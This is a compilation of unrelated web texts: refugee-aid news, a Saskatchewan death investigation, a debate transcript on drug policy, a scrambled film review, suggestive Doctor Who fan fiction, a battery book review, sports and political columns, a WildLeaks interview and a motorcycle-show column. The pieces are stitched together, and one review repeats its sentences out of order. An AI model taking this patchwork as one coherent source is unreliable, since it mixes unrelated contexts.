120 trucks of aid to camps and various centres hosting new arrivals, with more relief being dispatched from the agency’s stockpiles in Jordan. Meanwhile, WFP has distributed more than 1,500 family food rations, enough to feed 7,500 people for one month, in Kawergosk camp over the last few days. The ration includes rice, sugar, salt, wheat flour, lentils, and vegetable oil. “We are grateful for the generosity of the local authorities of the Kurdistan Regional Government who provided the Syrian refugees with hot meals in the initial days, when they arrived in northern Iraq,” said Ute Meir, WFP’s acting Country Director in Iraq. “WFP has now mobilized enough food to meet most of the urgent food needs of Syrian refugees in camps and transit centres in northern Iraq.” UNHCR is also assisting some 3,000 people temporarily encamped at the Baharka warehouse, also in Erbil, as well as about 2,600 Syrians living in schools and other buildings in Qushtapa. Temporary sites are being set up to accommodate those living in mosques, schools and libraries, the agency said. Almost 200,000 Syrian refugees have fled into Iraq since the onset of the conflict in Syria on March 2011, with some 30 per cent residing in camps and 70 per cent living in Iraqi communities. -UPDATE: Wesley Veit charged with murder in wife’s death The death of a woman near Wilkie, Sask., is being called suspicious by police. Living Sky School Division identified the woman as Heidi Veit, an educational assistant at McLurg High School. Her body was found approximately five kilometres northeast of Wilkie in the RM of Buffalo. Related Danny Ledoux charged in death of woman on Mistawasis First Nation Mounties are looking to question Wesley John Veit. He should not be approached by the public. Wesley Veit is from the RM of Buffalo and was known to the victim, according to RCMP. READ MORE: Death of missing woman Melinda Gladys Charles considered suspicious No charges have been laid at this time. Officials with the school division said Heidi Veit will be greatly missed and extended its sincere sympathies to her family and friends during this difficult time. Living Sky officials said both schools in Wilkie would remain under a hold and secure lockdown until RCMP recommended to have it lifted. Officials added that police do not consider the schools to be in any danger. “Our school has implemented our crisis intervention team to allow students an opportunity to talk about their thoughts and feelings with trained professional staff,” said a statement from the school division. “We also have outside counselling in place to allow staff members to express their feelings and grief. We will continue with these counselling services in place to support both our students and staff for the foreseeable future.” The sudden death investigation is continuing with Unity RCMP and RCMP major crime unit north in conjunction with multiple support units and the office of the chief coroner. Police are still asking everyone to stay away from the scene in the RM of Buffalo. Anyone with information is asked to contact Unity RCMP at 306-228-6300 or Crime Stoppers at 1-800-222-8477. -This is a rush transcript. Copy may not be in its final form. AMY GOODMAN: We want to go to another moment, a couple of moments in the debate. This is around the issue of drug policy. A number of the candidates weighed in. The question of medical marijuana was also debated. This is CNN moderator Jake Tapper. JAKE TAPPER: Senator Paul, Governor Christie recently said, quote, “If you’re getting high in Colorado today,” where marijuana has been legalized, “enjoy it until January 2017, because I will enforce the federal laws against marijuana.” Will you? SEN. RAND PAUL: I think one of the great problems, and what the American people don’t like about politics, is hypocrisy, people who have one standard for others and not for them—for themselves. There’s at least one prominent example on the stage of someone who says they smoked pot in high school. And yet, the people who are going to jail for this are poor people, often African Americans and often Hispanics, and yet the rich kids who use drugs aren’t. I personally think that this is a crime for which the only victim is the individual. And I think that America has to take a different attitude. I’d like to see more rehabilitation and less incarceration. I’m a fan of the drug courts, which try to direct you back towards work and less time in jail. But the bottom line is the states. We say we like the 10th Amendment—until we start talking about this. And I think the federal government has gone too far. I think that the war on drugs has had a racial outcome and really has been something that’s really damaged our inner cities. Not only do the drugs damage them, we damage them again by incarcerating them and then preventing them from getting employment over time. So, I don’t think that the federal government should override the states. I believe in the 10th Amendment, and I really will say that the states are left to themselves. JAKE TAPPER: I want to give that—I want to give the person that you called a hypocrite an opportunity to respond. Do you want to identify that person? SEN. RAND PAUL: Well, I think if we left it open, we could see how many people smoked pot in high school. JAKE TAPPER: Is there somebody you were specifically thinking of? SEN. RAND PAUL: Well, you know, the thing is, is that— JEB BUSH: He was talking about me. SEN. RAND PAUL: Yeah, I was talking about you. But let me—if I’m going to make the point, let me— JAKE TAPPER: That’s what I thought, but I wanted him to say it. JEB BUSH: Well, I wanted to make it easier for him. JAKE TAPPER: OK. SEN. RAND PAUL: Yeah. JEB BUSH: And I just did. JAKE TAPPER: Governor Bush, please. JEB BUSH: So, 40 years ago, I smoked marijuana, and I admit it. I’m sure that other people might have done it and may not want to say it in front of 25 million people. My mom’s not happy that I just did. That’s true. But here’s the deal. Here’s the deal. We have—we have a serious epidemic of drugs that goes way beyond marijuana. What goes on in Colorado, as far as I’m concerned, that should be a state decision. But if you look at the problem of drugs in this—in this society today, it’s a serious problem. Rand, you know this because you’re campaigning in New Hampshire, like all of us, and you see the epidemic of heroin, the overdoses of heroin that’s taking place. People’s families are—are being torn apart. It is appropriate for the government to play a consistent role to be able to provide more treatment, more prevention. We’re the state that has the most drug courts; across every circuit in—in Florida, there are drug courts to give people a second chance. That’s the best way to do this. SEN. RAND PAUL: But let me respond. The thing is, is that in Florida, Governor Bush campaigned against medical marijuana. That means that a small child like Morgan Hintz that has 500 seizures a day, is failing on nontraditional medications, is not allowed to use cannabis oil, and that if they attempt to do that in Florida, they will take the child away, they will put the parents in jail. And that’s what that means. If you’re against allowing people to use medical marijuana, you’ll actually put them in jail. JEB BUSH: No, you’re wrong. You’re wrong about this. SEN. RAND PAUL: And actually, under the current circumstances, kids who had privilege, like you do, don’t go to jail, but the poor kids in our inner cities go to jail. I don’t think that’s fair, and I think that we need to acknowledge it. And it is hypocritical to still want to put poor people in jail, and yet— JEB BUSH: I don’t want to put poor people in jail, Rand. And my—here’s the deal— SEN. RAND PAUL: Well, you vote—you oppose medical marijuana. You’re opposed— JEB BUSH: No, I did not oppose when the Legislature passed the bill to deal with that very issue. That’s the way to solve this problem. Medical marijuana on the ballot was opened up, it was a—there was a huge loophole, and it was the first step towards getting to a Colorado place. And as a citizen of Florida, I voted no. CARLY FIORINA: Jake? SEN. RAND PAUL: But that means you’ll put people in jail [inaudible]— JEB BUSH: No, [inaudible] put people in jail. JAKE TAPPER: I want to—I want to go right now—I want… CARLY FIORINA: I very much hope that I am the only person on this stage who can say this, but I know there are millions of Americans out there who will say the same thing. My husband Frank and I buried a child to drug addiction. So, we must invest more in the treatment of drugs. I agree with Senator Paul. I agree with states’ rights. But we are misleading young people when we tell them that marijuana is just like having a beer. It’s not. And the marijuana that kids are smoking today is not the same as the marijuana that Jeb Bush smoked 40 years ago. We do—sorry, Barbara. We do need—we do need criminal justice reform. We have the highest incarceration rates in the world. Two-thirds of the people in our prisons are there for nonviolent offenses, mostly drug-related. It’s clearly not working. But we need to tell young people the truth. Drug addiction is an epidemic, and it is taking too many of our young people. I know this, sadly, from personal experience. AMY GOODMAN: That’s Republican presidential candidate, former Hewlett-Packard CEO Carly Fiorina. Before that, Jeb Bush and Senator Rand Paul. John Nichols, weigh in. JOHN NICHOLS: Well, I thought that was a striking exchange and actually one of the more useful ones that I’ve seen in a presidential debate. And again, here you had a situation where Rand Paul was clearly standing aside from the other candidates. Now, it may be that his campaign has gone so poorly and he’s so low in the polls, that he finally feels he doesn’t have a lot to lose so he’s speaking more of what he believes. But it was incredibly useful, especially that intervention with Jeb Bush where he talked about the difference between people who come from privileged families and people who come from low-income families, from inner-city families, and how we clearly have a criminal justice system that is not equal and that is not functional. And you’ll notice that Paul came back to that again and again. Now, I want to emphasize here, there’s a ton of issues on which I disagree with Rand Paul. I don’t think he’s got the answers on especially a lot of economic concerns. But if you are to have a debate of a major party, you need to have differences of opinion. And what Paul did last night was offer some genuine alternatives. One of the challenges also that I was struck by in this debate was the—it wasn’t just these ones that you saw there, you also saw Chris Christie come in. And even though you have people who are now talking a little bit about dialing down some of the worst abuses of our criminal justice system and a little bit about acknowledging the racial and economic injustices of the drug war, they still default to extreme statements and to a position that ultimately, I don’t think, is going the right direction. I do think this debate started to open some stuff up on these issues, however. And finally, the last point I’ll make is, I give credit to the moderator, Jake Tapper, I think, there, for going to Paul repeatedly. He was asked seven direct questions in this debate, I think in an effort to insert a little bit of debate. Because when you saw that horrible moment—I don’t know if we’ll look at it later—between Donald Trump and Carly Fiorina arguing about who was the worst CEO or who was the worst businessperson, I mean, it was just tragic, you know, and empty. AMY GOODMAN: Well, it was also interesting, because you had— JOHN NICHOLS: Here you actually saw some discourse on an issue that matters. AMY GOODMAN: It was interesting because Donald Trump basically started out the whole debate by saying there’s one person who doesn’t belong here, it’s the 11th one on the end, it’s Rand Paul. NERMEEN SHAIKH: Well, during the presidential debate— JOHN NICHOLS: And he was the one who actually contributed something. Yeah, yeah. What’s that? -The story is a rich one with themes of remembrance and loss, incorporating mad moon rulers, feuding immortal sisters and magic formed from emotional bonds... so it's rather up my alley. Plus it has a sword wielding protector monkey, an archer beetle (or a beetle archer?), legendary swords and armor, epic origami and more all wrapped up in an engaging hero's quest. It really is a fun and touching time at the theater that I can't recommend enough! this trailer for it , and after finally getting to see it this weekend I really wanted to draw something from it. What an absolutely gorgeous film... I had loved Laika's previous film "Coraline" based on the Neil Gaiman novel, but they surely have topped themselves with the stop-motion animation in this latest release.The story is a rich one with themes of remembrance and loss, incorporating mad moon rulers, feuding immortal sisters and magic formed from emotional bonds... so it's rather up my alley. Plus it has a sword wielding protector monkey, an archer beetle (or a beetle archer?), legendary swords and armor, epic origami and more all wrapped up in an engaging hero's quest. It really is a fun and touching time at the theater that I can't recommend enough! This one is a bit unexpected, I'm sure... I had been looking forward to seeing "Kubo and the Two Strings" ever since I sawFor a glimpse of the encounter above, check out the video for the film's cover of "While My Guitar Gently Weeps" , and see this film if you get the chance... It's playing now in the US, has gotten rave reviews and is sure to get a Best Animated Feature nomination at next year's Oscars, yet it is not getting near the attention that I think it deserves. -River Song took her time coming around. Still finding herself lying atop Lethbridge-Stewart's desk, she gave a lazy smile. She pulled the Brigadier's greatcoat to closer around her as she propped herself up on one elbow. "Doctor? You still there, sweetie?" "I'm right here, Ms. Song." She looked up, to find in her astonishment that the Doctor was already fully clothed, engaged in straightening out one of those fantastic lace cuffs. She smirked at him. "I swear, only you would call me 'Ms.' anything after what we just did."" He gave her a kindly and debonair smile, and nodded to a pile of clothes at the foot of the desk. "I trust you will have those cleaned and back in place before Alistair notices his dress uniform is gone." She sat up, letting the greatcoat fall away. "Always the fastidious one." "Excuse me?" She surprised herself, and nodded meekly. "Yes, Doctor." He looked at the pile, then back to her. "Oh, I'm sorry. You were wearing those when I came in, weren't you?" She winked at him, and grabbed her purse. "Not to worry, sweetie." She pulled out a small case, opened it, and pulled out a slinky black dress and matching heels. "I can't let you wear that here, you know," said the Doctor. "Not after the ruckus you stirred up last time." He produced a large packet and handed it to her. She ripped it open to find a a UNIT female officer's uniform. "Thoughtful," she said. "Won't I look kind of frumpy, though?" He just smiled and shook his head. "Try it on." She pulled on the various pieces, then checked the fit. It was perfectly tailored, showing off every curve and nuance, while still being completely military and professional. "I like it," she said. She grinned "I don't think this will create any less of a sensation, though." The Doctor shrugged. "I can but try." She gathered the scattered pieces of the Brigadier's abused dress uniform with his help, and was out the door beside him as he left. "You should have seen number eleven," she said. "He was so-" "No spoilers," he said. "I know you've been with my... later selves as well, but I will not hear any more." He handed her a leather diary, embossed with the TARDIS. "Any time you feel like telling me about a future event, I suggest writing it in here instead. It should help you keep track of you are on my personal timeline as well." She smiled as she accepted it, riffling through the pages. She then frowned in concern "Why... why don't any of them remember us?" "Regeneration trauma, I expect," he said. "Great swaths of knowledge, lost to us all." He stared off, a troubled frown on his face. She looked around. "So, Jo-" "We had an agreement not to speak of her," he said. "Sorry. Still on vacation, I presume?" "Yes. Oh, I almost forgot!" He reached into his pocket and produced a small parcel. "The devices I said I would make for you," he said, handing it to her. She looked affronted. "I'd only wanted training on TARDIS piloting. He's too busy." "I see. My own TARDIS is not functional at the moment, but perhaps I could drill you on the controls." At her outburst of giggles, his gloved hand smacked her firmly on the rump. "You know what I meant!" "But later?" "Perhaps." -Will batteries ever be able to compete with the stored power of gasoline? In the early 1970s, the research arm of Exxon hired a promising young engineer named Michael Stanley Whittingham and asked him to invent something—anything—that could reduce the company’s dependence on crude oil. Whittingham and a team holed up at an Exxon R & D lab in New Jersey, and, as engineers are wont to do, started mixing together chemicals to see what would happen. When they injected potassium into the rare metal tantalum, they noticed something extraordinary—the resulting mixture had an extremely high capacity to store energy. Over the next few months they continued tinkering with various metals. Whittingham’s team replaced tantalum with titanium, and because potassium was hazardous to work with, they switched it for lithium. When they were done, Whittingham raced to Exxon’s headquarters to report to the board that they’d created something amazing. It was the first lithium-based battery that worked at room temperature, and it had the potential to upend the entire energy business. Of course, that didn’t happen. Soon came a recession, an oil glut, and the election of Ronald Reagan, which ended a great deal of government funding for research into advanced energy projects. Exxon licensed Whittingham’s battery technology and closed off the division. And for a while, the dream of a perfect battery that could replace gasoline was, once again, dead. This is how it goes in the battery business. As Seth Fletcher, a senior editor at Popular Science, recounts in his engaging new book Bottled Lightning: Superbatteries, Electric Cars, and the New Lithium Economy, scientists have been trying to build a better battery since before the days of Thomas Edison (who was a major battery tinkerer himself). (Disclosure: Fletcher and I share the same literary agent.) If we had batteries that matched the price and performance of fossil fuels, we would not only have cleaner cars, but we might be able to remake much of the rest of the nation’s energy infrastructure, too. Wind and solar power are generated intermittently—sometimes the wind doesn’t blow and the sun doesn’t shine—and batteries can moderate that volatility. Stores of batteries placed in the electric grid could collect energy when the sun shines or when the wind blows and then discharge it when we need it. Not to put too fine a point on it, but you might say that the future of the world depends on better batteries—a better battery would alter geopolitics, mitigate the disasters of climate change, and spur a new economic boom. But a better battery doesn’t seem to be in the offing anytime soon. As Fletcher explains, physics, politics, and the price of gasoline have always conspired against the improvement of battery technology. Fletcher’s book is hopeful—he investigates a number of promising technologies that might theoretically challenge the dominance of fossil fuels. But many of them are a long way from fruition, and the history of failure in the battery industry doesn’t inspire confidence. We might get a better battery someday, and if we do it will probably come from China, which has become the hub of advanced energy production. But don’t hold your breath. The fundamental problem with batteries is the existence of gasoline. Oil is cheap, abundant, and relatively easy to transport. Most importantly, it has a high “energy density”—meaning that it’s phenomenally good at storing energy for its weight. Today’s best lithium-ion batteries can hold about 200 watt-hours per kilogram—a measure of energy density—and they might theoretically be able to store about 400 watt-hours per kilogram. Gasoline has a density equivalent of around 13,000 watt-hours per kilogram. The only reason electric cars might one day compete with cars that rely on internal combustion is that gasoline engines are highly inefficient; nearly all of the energy stored in gasoline is lost to heat. But gasoline makes up for that flaw with another advantage: When your car’s out of gas, you can refill it in a few minutes. With today’s electrical infrastructure, batteries need many hours to recharge. There’s some hope that we might one day install fast-charging stations across the country, but the researchers Fletcher interviews point out that this is a daunting challenge. The battery in today’s Tesla roadster needs about four hours to charge. If you wanted to charge that battery in 15 minutes, you’d need a 200-kilowatt electric substation feeding the charging station. “Your house takes 1 kilowatt,” one expert tells Fletcher. “If you want to have something like a gasoline fuel station that is all electrical, you’re talking about multimegawatts of power at that station. And I just don’t see that happening.” Neither do I. So what’s the answer? Fletcher’s book ends with a look at the most far-out research in the battery world—the lithium-air battery. In this design, lithium and carbon combine with oxygen from the air to form a system with a staggering potential to store energy. In theory, the lithium-air battery could store 11,000 watt-hours per kilogram, which makes it, Fletcher says, “the best chance battery scientists have to beat gasoline.” A lithium-air battery could allow a car to drive 500 miles before recharging. With that range, you wouldn’t need a nationwide system of quick-charging stations. You could drive pretty much wherever you wanted all day, and then recharge your car at night. But lithium-air is the cold fusion of the battery world—a would-be game-changer that has the unfortunate downside of being impossible to achieve (probably). Researchers have been working at lithium-air for decades, but there are a number of challenges to overcome before such a battery might be commercially viable. For one thing, the system uses lithium metal, which is highly, explosively reactive with water. (In a lithium-ion battery, lithium is combined with another element in the cathode, and it is also present as a salt that’s dissolved in a solution.) * Water, of course, is present in the air, so the very idea of a battery that mixes lithium metal with air has always seemed little more than a fantasy. Fletcher reports that the fantasy has become slightly more real lately. A company called PolyPlus has developed a way to coat lithium metal to protect it from moisture, and IBM has launched a research project aimed at building a lithium-air battery. But with every advance, there’s another hurdle. PolyPlus’s innovation makes the lithium metal in a lithium-air battery easy to recharge, but nobody knows, yet, how to recharge such a battery. Figuring that out seems destined to take many more years. The chief technology officer of PolyPlus tells Fletcher that it will be “a long time before you see battery packs that are large enough and proven and tested enough that you would start thinking about transportation.” That’s the paradox of battery research. Advanced batteries could well solve many of the problems that dog us today. But they’ll only come about many, many years from now—and by then, it could be too late. Correction, June 22, 2011: This article originally included an incorrect description of the components of lithium-ion batteries. The batteries include lithium both in the cathode and as part of a salt solution. (Return to the corrected sentence.) -Paul Hawthorne / Getty "One more book." Those are the words Anne Rice fans have been dying to hear about the Vampire Chronicles ever since her shocking — and dismaying to many of his followers — turn to religious writing. Long seen as a committed atheist, four years ago the best-selling author drove a stake through the hearts of her followers when she vowed to abandon her sinister stories and instead write only of the Lord. Turns out, vampires aren't that easy to kill. In an interview with TIME, the best-selling author of Interview with the Vampire and The Queen of the Damned has revealed that she plans to write one last book about Lestat, the feared yet beloved blood-sucking main character in her gothic novel series. "When I published my first book about the Lord I said I would never write about those characters again," Rice acknowledged. "But I have one more book that I would really like to write. It will be a story that I need to tell." Upon returning to the church after a more than three-decade absence, the author in 2005 dramatically and publicly declared that she would never again return to writing about vampires. Said Rice in an interview with Christianity Today: "I would never go back, not even if they say you will be financially ruined. I would be a fool for all eternity to turn my back on God like that." But never say never. While Rice justifies her decision by saying the book will have a definite Christian framework and a focus on the theme of redemption, she admits that the future chronicle will once again involve the character Lestat and a fictional organization known as the Talamaska that is responsible for investigating the supernatural. Much like the author herself, Lestat will be wrestling with the existence of God throughout the story. "I don't see it as a violation of my promise, because I won't be writing about vampires in the same way," Rice maintains. Still, it is difficult to see it as anything but a change of heart. Rice says her next book will be a continuation of her multi-part series chronicling Jesus Christ's life; the second novel in that saga, Christ the Lord: The Road to Cana, comes out March 4. She plans to write a third installment in that series before tackling what she now claims to be her final vampire book. For a prolific author who writes a book approximately every 15 months, that means it may be at least another three years before we once again see blood dripping off her pages. -Think of this NBA offseason as the summer of the great unknown. Each team’s salary cap is about to jump $24 million from last season’s number of about $70 million. That is primarily a result of a massive jump in national television revenue, based on deals signed with ABC-ESPN and Turner Sports. Sign Up and Save Get six months of free digital access to The Charlotte Observer That’s great for the NBA’s financial health. But it will set off a comparable spike in spending on player contracts, and for all the strategizing the league’s 30 franchises have done over the winter, no one is quite sure of the ramifications once free agency commences July 1. "I think you’re going to see a lot of money thrown out there this summer that you haven’t seen in the past," Charlotte Hornets general manager Rich Cho said. "Every team is planning for it, but I still think you’ll see some things that will surprise you." The Hornets will be knee-deep in this process because much of the core of last season’s 48-victory roster is about to hit the free-agent market. Four starters at the end of last season – Nic Batum, Marvin Williams, Courtney Lee and Al Jefferson – will be unrestricted free agents. In addition, the Hornets’ sixth man last season, versatile guard Jeremy Lin, chose to opt out of the final season on his Hornets contract. The good news? All five of those players have expressed at one time or another that they’d like to re-sign with the Hornets. The bad news? It might be all but impossible to retain all five in what will inevitably be an inflationary labor market this summer. This NBA free-agent class is solid, including two superstars in LeBron James and Kevin Durant. James plans to return to the Cleveland Cavaliers after winning the championship over the Golden State Warriors. Whether Durant returns to Oklahoma City is in a bit more doubt; there might be a way for the Warriors to sign him, which would arguably make the NBA’s most formidable roster even stronger. Among star-level players who will be unrestricted free agents: Toronto’s DeMar DeRozan, Atlanta’s Al Horford, Houston’s Dwight Howard, Memphis’s Mike Conley, Miami’s (and Gastonia native) Hassan Whiteside and Batum. Each of these players figures to get a maximum, or near-max, contract this summer. Which raises a question of perception among longtime NBA fans… Who qualifies as ‘max’? So-called maximum contracts are not a new concept in the NBA. But that term used to apply to an elite few superstars like James, Durant, Kobe Bryant, Tim Duncan and Howard. Players who were annually All-Stars and capable of leading runs to the NBA Finals. Then the max contract became a way of locking down rising stars like Derrick Rose (then with Chicago, now with New York) or New Orleans’ Anthony Davis. Now? With so much money available and so few stars to spend it on, our whole perception of a "max player" is about to change. The foreshadow of this was last summer when the Portland Trail Blazers signed big man Enes Kanter to a maximum offer sheet worth about $70 over four seasons. The Thunder matched that offer sheet. Kanter is a decent NBA big man, but far from a star. He plays behind starting center Steven Adams. But the Thunder still matched. This summer’s version of Kanter could be Warriors small forward Harrison Barnes. He is, at best, Golden State’s fourth offensive option, averaging 11.7 points and 4.9 rebounds. He had a bad performance in the NBA Finals, shooting 35 percent from the field. And yet it’s been speculated Barnes will field a max offer sheet this summer. In that atmosphere, it’s easier to accept the price the Hornets might have to pay to retain Batum. The Batum question It’s understandable why some fans find it hard to view Batum as a max player. His averages last season – 14.9 points, 6.1 rebounds and 5.8 assists – are not superstar-like. But it’s clear Batum’s versatility made the Hornets better and that trading for him was one of the best moves by this front office since the expansion franchise began in 2004. It’s also clear there will be competition for Batum’s services. One way or another, he appears destined to make in excess of $20 million each of the next several seasons. This is new territory in Charlotte. Hornets owner Michael Jordan has always said he’ll pay what it takes to retain top talent. But that concept really hasn’t been tested by the talent level of past players on this roster. To their credit, the Hornets don’t play coy in expressing their desire to bring Batum back. Cho has said repeatedly that Batum is his top priority and that he intends to meet with Batum and his agent as soon as free agency begins July 1. Batum said the day after the season ended that he wants to re-sign with the Hornets, particularly because of all the responsibility coach Steve Clifford gave him to facilitate his new team’s offense. Good feelings, but difficult circumstances Cho knows the Hornets have created a healthy locker room climate where players enjoy working. "We feel like from our exit interviews everyone wants to be back and our goal is to bring back as much of the core as possible," Cho said. The key term in that sentence might be "as possible." Bringing back all five rotation free agents might be unrealistic, particularly if Cho intends to do anything else to improve the roster. Cho has used the term "tricky" to describe this upcoming process. "I say it’s going to be tricky just because you have to have a meeting of the minds when negotiating," Cho said. "Sometimes the numbers don’t pan out and you’re not able to bring back who you want." Some of this is going to get very technical with salary-cap holds and maximum-salary limits that haven’t much affected this franchise’s offseasons in the past. Cho says, after months of planning, he’s ready for whatever course this process takes. "We’ve spent a lot of time dealing with contingencies,” he said. “We’ve got like 80 different scenarios going. "The hard part will be you have so much time each agent will need to make a decision as well. That’s something we can’t put a time frame on right now." -CLOSE President Trump is standing by what he told Russian diplomats in an Oval Office meeting, but it wasn't so long ago that he railed against intelligence leaks. USA TODAY President Trump and Russian Foreign Minister Sergei Lavrov, Oval Office, Washington, May 10, 2017. (Photo: Russian Foreign Ministry handout via AFP) On Monday night, the question of the hour was did he do it? Did President Trump reveal codeword secrets (some of the most sensitive information that the U.S. government possesses) to the Russian foreign minister and ambassador? In truth there was never much doubt that The Washington Post éxposé was accurate, given its depth of detail. If The Post got it wrong, why would security officials ask reporters to withhold details about the intelligence in question? But the White House felt compelled to send out national security adviser H.R. McMaster and his deputy, Dina Powell, to issue a non-denial denial, labeling the story false but disputing only assertions that ThePost didn't make — for example insisting that Trump hadn't blown any ongoing military operations. Intelligence operations, well that's different. Only Fox News was convinced. Then on Tuesday, having put his aides out on a limb, Trump sawed it off. In a series of tweets, he admitted that yes he had shared the information with the Russians but claimed it was proper to do so. In a legal sense he's right: The president can declassify anything he wants. But in a larger moral and strategic sense, Trump committed a horrifying blunder that puts at risk at least one vital U.S. intelligence-sharing relationship (and likely more than one), threatens the life of a human asset, and ultimately endangers U.S. security by potentially cutting off valuable streams of intelligence about terrorist planning by the Islamic State of Iraq an Syria terrorist group. Now the question is, why did he do it? I think there are three answers: Trump is boastful, ignorant, and inclined to see the Russians as friends rather than enemies. Let's unpack those. If ThePost account is accurate, Trump's disclosure to the Russians came in the context of a boast about how great his intelligence is. Good thing he didn't feel compelled to brag about how quickly he can launch nuclear missiles! This is of course a pattern with Trump, a man-child who is in desperate, endless need of approbation. He turned this neediness into a successful business strategy because his brand of braggadocio served him well in real estate and reality TV. It is, however, anathema for his current job, in which he must deal with the nation’s most sensitive secrets and measure his words carefully so as not to create diplomatic incidents or even a war by accident. His over-the-top talk has already ramped up tensions, not only with adversaries such as North Korea but also with allies such as Mexico, Australia, Canada, and the United Kingdom, among others. This bring us to the second reason for Trump's blunder: He has no idea how government works. He is the first president never to have worked in either the civilian or military branches of the government. And amazingly enough he made no attempt to educate himself about policy before he ran for president, probably because he never expected that he would win. Now he is president and he desperately needs to educate himself about the most powerful job in the world. For a start he needs to learn the very stringent rules for the handling of codeword secrets, which are so sensitive they may be known to only a dozen people in the entire government. But he has a short attention span and an inability to read long documents, combined with a boundless faith in his own ability to improvise and come up with the right answer on the spur of the moment. Hence his latest blunder — and many others. POLICING THE USA: A look at race, justice, media The final explanation lies in Trump’s benign view of Russia as a potential partner rather than a dangerous adversary. He is willing to share more intelligence with the Kremlin than we share with South Korea, France, or Germany. But then, he has had more critical comments about those countries than he has ever had about Russia. Indeed he consistently praises Vladimir Putin as a strong leader and even defends him from well-founded charges that he murders critics. What accounts for Trump's Russophilia? That is, to paraphrase Winston Churchill, a riddle, wrapped in a mystery, inside an enigma. Could it be that Trump simply likes strongmen like Putin? Is he financially dependent on Russian oligarchs? Does Putin have some kind of compromising information that can be used to blackmail him? Is he grateful that Russia helped to elect him? Those are the questions the FBI is probing, and Trump fired FBI Director James Comey to, by his own admission, try to bring that investigation to a close. Perhaps Trump’s relationship with Russia is entirely innocent, but he is certainly acting like he's guilty of something. However, for purposes of explaining the disclosure, we don't have to posit that Trump is a Russian agent. More likely, if hardly reassuring, is that he is simply an ignorant braggart who is unprepared for the presidency. Max Boot, a member of USA TODAY’s Board of Contributors, is a senior fellow at the Council on Foreign Relations. Follow him on Twitter: @maxboot You can read diverse opinions from our Board of Contributors and other writers on the Opinion front page, on Twitter @USATOpinion and in our daily Opinion newsletter. To respond to a column, submit a comment to letters@usatoday.com. Read or Share this story: https://usat.ly/2rmyy1q -WildLeaks is the first secure and anonymous platform for wildlife and forest crime whistleblowers. Its goal is to create a safe, secure and anonymous online platform for individuals to send information about wildlife crime. The tips are then used for on-the-ground action. The WildLeaks project is funded by the Elephant Action League. DW: What kind of leaks are you receiving? Andrea Crosta: All kinds. We've received leaks about the poaching of tigers in northern Sumatra; the smuggling of apes, in particular chimps, in Central Africa; elephant poaching and ivory trafficking; illeg al logging in central Mexico, Malawi, Russia; illegal fishing off the coast of Alaska. On average we receive between 5 and 7 leaks per week, of which, at the moment, at least three or four are usually assessed as reliable, as good - as a possible basis for investigations. How do the leaks get investigated? And who's investigating them? Once the leak has been assessed as good and reliable, we basically have three options: We can start an investigation on our own with our human resources in collaboration with our partners; we can share this leak with another organization - another NGO more expert than us, and we then help them; or we can share the leak with selected law enforcement agencies. For example, a lot ivory exits Africa from the ports of Mombasa [Kenya] or Dar es Salaam [Tanzania], so in these countries, we're active - proactive actually. We're in the field, we try to build networks of potential whistleblowers, we recruit sources, we investigate with other partners, and we try to get as much information as possible on the criminal networks. Sounds like a fairly delicate operation? Extremely delicate. Some of my team, including myself, come from security and private intelligence and homeland security. So personally, I've been doing this for almost 20 years. And we know how to start an investigation below the radar, how to use local resources, how not to attract attention - unwanted attention. Why are locals so afraid? People are making a lot of money out of wildlife crime. It's a multibillion-dollar industry. And both in origin countries in Africa - talking about ivory, for example - or destinations like Asia/China, there are powerful people involved: organized criminal groups, corrupt government officials, corrupt politicians, corrupt security officers, and also very well-known, legitimate businesses behind the scenes, using import-export licenses to smuggle ivory or rhino horn. In certain countries, like in Africa, these people are able to control the police, are able to control corrupted parts of the security agencies. So I fully understand why people who live there do not report. It's a very risky business to report, unless you have an anonymous way to do it. Is WildLeak anonymous? It's totally anonymous. We don't have any idea who's sending the links or where they come from. It's based on this technology called Tor, which is the best available on the market to protect users from monitoring by external entities. How big a problem is poaching and the trafficking of animals? A pair of tusks in Kenya is worth three, four years' of salary. It depends where, of course, but we know that poachers can get a few hundred dollars. And a few hundred dollars in those areas - it's a lot of money. Then, as the ivory travels all the way to Asia, which is the final destination, the price keeps rising. And on the black market in China now, we're talking about $3,000 (2,300 euros) per kilo. What's changed is that, in the last three-to-five years, the price of ivory and rhino horn has again skyrocketed. It became, once again, very, very profitable to traffick in ivory. One of the reasons, for example, is the destination market, the consumer market, in particular China, grew a lot. So the middle class can afford more, can spend more. And there is a huge demand for ivory. Criminal networks that smuggles ivory are also into other kinds of crimes, like human trafficking, or like drug trafficking. So it's a very, very complex issue that requires a highly collaborative approach, which I'm afraid, at the moment, we don't have. Are you confident you'll see some good results? We've launched our own investigations, three of them, all in Africa, and all on ivory trafficking. We'll see the results probably in a few months. We're targeting the upper layers of wildlife crime, and we're trying to get a better understanding of their networks. We're not after easy catches. Andrea Crosta is the project leader and founder of WildLeaks. He is also the executive director and co-founder of the Elephant Action League (EAL). -ISSUE 52 July August 2015 Carlow Classic Motorcycle Show 2015 T he Leinster Classic Motorcycle Show takes place on Easter Sunday in St Mary’s Academy School just beside the railway station in Carlow. It is something of a season opener and a chance to come out of hibernation for those of us, who do not use our motorcycles to any extent over the winter period. The Jawa 350 had been resting, awaiting engagements, in the garage for many months, where it had provided a comfortable perch for our family cat during the Winter. That cat can spend so many hours in the saddle without tiring, if only the motorcycle’s owner could do the same! I had drained the tank and carburettor before resting up the bike and on Easter Saturday with fresh fuel and three kicks later she started up immediately. A spin around the block confirmed nothing amiss. Easter Day dawned and the Jawa was fired up and away we went for Carlow. The route taken to Carlow was of course Jawa friendly – down the N81 through Blessington, turning onto the R726 at Rathvilly. Perfect roads for 50/55mph cruising, speeds at which the Jawa excels. Met Eireann had forecast sunshine and decent temperatures for the day but they failed to show up. Grey and overcast conditions prevailed but it was almost flat calm with very little breeze. The trees and hedgerows along the route had as yet failed to show any sign of Spring. The only harbingers of hope were clumps of daffodils around farmyards and the lambs visible in the fields. The Carlow show is a big one with some 100 classic and vintage bikes on show. It attracts a large crowd and the roads and footpaths around the school are lined with motorcycles – some of which are as interesting as those on show inside the school hall. The auto jumble, laid out in the school yard, is also of significant size. I have to admit that these jumbles always look to me as if someone has dropped a bucket into some landfill and filled the plastic fish crates with the contents. No doubt there is gold there for those who know how to pan for it. If visiting the show in the future, do take a look at the railway station, which stands sentinel over the show - it is beauty. Dating from 1846 and built in the Jacobean revival style, it features a yellow brick façade with granite trim and four tall chimneys. The ride home was even more enjoyable as I emerged into sunshine between Rathvilly and Blessington. It was a bonus after the grey day. It also turned out to be a poignant trip, as little did I know, at the time, that it would be my last spin on the 350. In the 